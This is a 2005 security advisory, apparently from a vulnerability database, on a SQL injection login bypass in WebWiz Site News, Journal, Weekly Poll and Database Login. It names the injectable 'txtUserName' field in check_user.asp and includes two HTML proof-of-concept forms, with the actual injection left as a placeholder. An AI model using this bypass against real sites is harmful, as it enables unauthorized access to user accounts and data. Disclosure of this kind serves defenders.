WebWiz Products SQL Injection

2005.12.30
Credit: devil_box
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[KAPDA::#18] - WebWiz Products SQL Injection Happy new year ! :) KAPDA New advisory Vulnerable products : webwiz site news access2000 : vesion 3.06 and prior versions webwiz journal access2000 : version 1.0 webwiz weekly poll access2000 : version 3.06 and prior versions database login access2000 : version 1.71 and prior versions webwiz site news access97 : version 3.06 and prior versions webwiz journal access97 : version 1.0 webwiz weekly poll access97 : version 3.06 and prior versions database login access97 : version 1.71 and prior versions Vendor: http://www.webwizguide.info Risk: High Vulnerability: SQL_Injection Date : -------------------- Found : Aug 14 2005 Vendor Contacted : Dec 30 2005 Release Date : Dec 30 2005 About WebWiz Products : -------------------- Vendor`s description WebWiz site news : http://webwizguide.info/asp/sample_scripts/site_news_script.asp WebWiz journal : http://webwizguide.info/asp/sample_scripts/journal_application.asp WebWiz weekly poll : http://webwizguide.info/asp/sample_scripts/weekly_poll_script.asp WebWiz Password Login Page (Database Login) : http://webwizguide.info/asp/sample_scripts/database_login_script.asp Discussion : ---------------- Some input passed to &quot;check_user.asp&quot; when logging in isn't properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Vulnerabilities: -------------------- SQL_Injection in &quot;/[product]/check_user.asp&quot; . At parameter named 'txtUserName', Attacker can enter SQL command to login to the system.(For all products) Proof of Concepts: -------------------- <html> <h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://target/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html> <html> <h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://target/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html> Solution: -------------------- No patch`s released yet by vendor. Original Advisory: -------------------- http://www.kapda.ir/advisory-167.html Credit : -------------------- DevilBox of KAPDA devil_box [at} kapda.ir Kapda - Security Science Researchers Insitute of Iran http://www.KAPDA.ir # SecurityReason thanks farhad


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